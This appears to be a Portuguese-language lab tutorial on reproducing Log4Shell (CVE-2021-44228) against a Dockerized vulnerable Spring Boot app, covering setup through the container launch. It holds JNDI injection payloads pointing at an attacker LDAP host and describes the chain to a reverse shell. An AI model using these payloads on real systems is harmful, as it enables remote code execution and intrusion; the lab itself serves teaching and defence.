Explorando o Log4Shell (CVE-2021-44228): Um Laboratório de Demonstração Completo e Moderno

O Log4Shell (CVE-2021-44228) é uma das vulnerabilidades de execução remota de código mais impactantes já divulgadas. Ela afeta o Apache Log4j 2, um framework de logging Java amplamente utilizado, e permite que atacantes executem código arbitrário ao abusar de lookups JNDI em mensagens de log.

Este guia fornece um laboratório de demonstração completo e reproduzível usando:

• Kali Linux (atacante)
• Um aplicativo Log4j2 vulnerável dockerizado
• O PoC público log4j-shell-poc
• curl, Burp Suite e Netcat

Ele foi projetado para ensino, pesquisa, treinamento e conscientização defensiva apenas em ambientes controlados. A estrutura e o estilo seguem o mesmo espírito do README do laboratório complementar “Shellshock”.

---

📌 Índice

0. Aviso Legal e Ético
1. Visão Geral
2. Objetivos de Aprendizagem
3. Arquitetura do Laboratório
4. Pré-requisitos
5. Instalar o JDK 1.8.0_202 no Kali
6. Implantar o Aplicativo Log4j Vulnerável (Docker)
7. Preparar o PoC do Exploit
8. Configurar o poc.py para Usar o JDK 1.8.0_202
9. Iniciar os Serviços do Exploit (LDAP + HTTP + Payload)
10. Iniciar o Listener de Reverse Shell
11. Explorar o Log4Shell via curl
12. Explorar o Log4Shell via Burp Suite
13. Diagrama da Cadeia de Ataque
14. Contramedidas e Defesa
15. Cheat Sheet (Todos os Comandos)
16. Galeria de Capturas de Tela (Opcional)
17. Referências
18. Créditos

---

0. Aviso Legal e Ético

Este laboratório deve ser realizado apenas em um ambiente controlado onde você tenha autorização explícita (seu próprio laboratório, VMs de sala de aula, etc.).

• Não ataque sistemas de produção.
• Não execute isso contra hosts que você não possui ou administra.
• Use este material somente para educação, pesquisa e defesa.

---

1. Visão Geral

Log4Shell (CVE-2021-44228) é uma vulnerabilidade crítica de RCE no Apache Log4j 2.

O problema surge porque versões vulneráveis do Log4j2 interpretam strings controladas pelo atacante, como:

${jndi:ldap://ATTACKER_IP:1389/a}

Quando essa string é registrada, o Log4j:

1. Realiza um lookup JNDI (por exemplo, via LDAP) para um servidor controlado pelo atacante.
2. Recebe uma referência a uma classe Java maliciosa.
3. Baixa a classe via HTTP e a carrega na JVM.
4. Executa-a, resultando em execução remota de código.

Neste laboratório, você irá:

• Executar um aplicativo web Log4j2 vulnerável dentro de um contêiner Docker.
• Executar um servidor malicioso LDAP + HTTP no Kali usando log4j-shell-poc.
• Entregar o payload do Log4Shell via curl e via Burp Suite.
• Capturar um reverse shell do contêiner vulnerável.

---

2. Objetivos de Aprendizagem

Ao final deste laboratório, você deverá ser capaz de:

1. Explicar em alto nível como o Log4Shell funciona e por que o JNDI é perigoso quando usado indevidamente.
2. Implantar um aplicativo Log4j2 vulnerável usando Docker.
3. Instalar e configurar o JDK 1.8.0_202, exigido pelo PoC.
4. Executar um servidor LDAP e um servidor HTTP maliciosos por meio do script do PoC.
5. Acionar a vulnerabilidade e obter um reverse shell.
6. Usar o Burp Suite para injetar o exploit em um cabeçalho HTTP.
7. Discutir mitigações realistas e estratégias de detecção.

---

3. Arquitetura do Laboratório

Todos os componentes são executados sobre seu laboratório virtual existente. Para este guia, assumimos:

• A VM Kali Linux é o atacante.
• O Kali também executa o contêiner Docker que contém o aplicativo vulnerável.

Componente	Função / Descrição	Ferramentas / Serviços	Endereçamento de Exemplo
VM Kali Linux (Atacante + Host)	Executa o exploit PoC, servidor LDAP, servidor HTTP, listener Netcat, Burp Suite	Python 3, JDK 1.8.0_202, Netcat, Burp Suite, Docker, curl, Git	192.168.1.4 (exemplo de IP do Kali)
Aplicativo web Log4j2 vulnerável	Alvo; aplicativo web Spring Boot vulnerável ao Log4Shell	Imagem Docker: ghcr.io/christophetd/log4shell-vulnerable-app	Exposto em http://127.0.0.1:8080

Ideia-chave

O atacante injeta:

${jndi:ldap://192.168.1.4:1389/a}

em um cabeçalho HTTP. O aplicativo vulnerável o registra usando Log4j2 → realiza um lookup JNDI LDAP para 192.168.1.4:1389 → baixa uma classe maliciosa de http://192.168.1.4:8000 → executa a classe, que abre um reverse shell de volta para 192.168.1.4:9001.

---

4. Pré-requisitos

No Kali, você precisa de:

• Docker (instalado e funcionando).
• Python 3 (padrão no Kali).
• Netcat (nc).
• Burp Suite (a edição Community é suficiente).
• Acesso à internet para downloads iniciais.
• Familiaridade básica com Linux e HTTP.

Ao longo deste guia, assumimos que o IP do Kali é:

192.168.1.4

Se o seu IP for diferente, ajuste todos os comandos de acordo.

---

5. Instalar o JDK 1.8.0_202 no Kali (Obrigatório)

O PoC depende do Java SE 8 Update 202 (JDK 1.8.0_202) porque versões posteriores do Java restringem o comportamento de carregamento remoto de classes usado por este exploit.

Mesmo que o Kali já tenha o OpenJDK 21 (ou similar), você ainda precisa instalar o 8u202 separadamente.

5.1 Criar um diretório de trabalho

mkdir -p ~/Log4Shell
cd ~/Log4Shell

5.2 Baixar o JDK 8u202 do espelho HuaweiCloud

Raiz do espelho:

https://mirrors.huaweicloud.com/java/jdk/8u202-b08/

Baixe o tarball Linux x64 (≈185 MB):

wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz   # should be ~185M

5.3 Extrair para /usr/bin/jdk1.8.0_202

sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
  -C /usr/bin/jdk1.8.0_202 --strip-components=1

A opção --strip-components=1 remove o diretório de nível superior do arquivo para que os arquivos sejam extraídos diretamente em /usr/bin/jdk1.8.0_202.

5.4 Verificar a instalação

/usr/bin/jdk1.8.0_202/bin/java -version

Saída esperada:

java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)

Se você vir isso, o JDK 1.8.0_202 está instalado corretamente.

---

6. Implantar o Aplicativo Log4j Vulnerável (Docker no Kali)

Em um novo terminal no Kali (você pode permanecer em ~/Log4Shell):

docker run --name vulnerable-app --rm -p 8080:8080 \
  ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

Você deve ver logs semelhantes a:

:: Spring Boot ::  (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...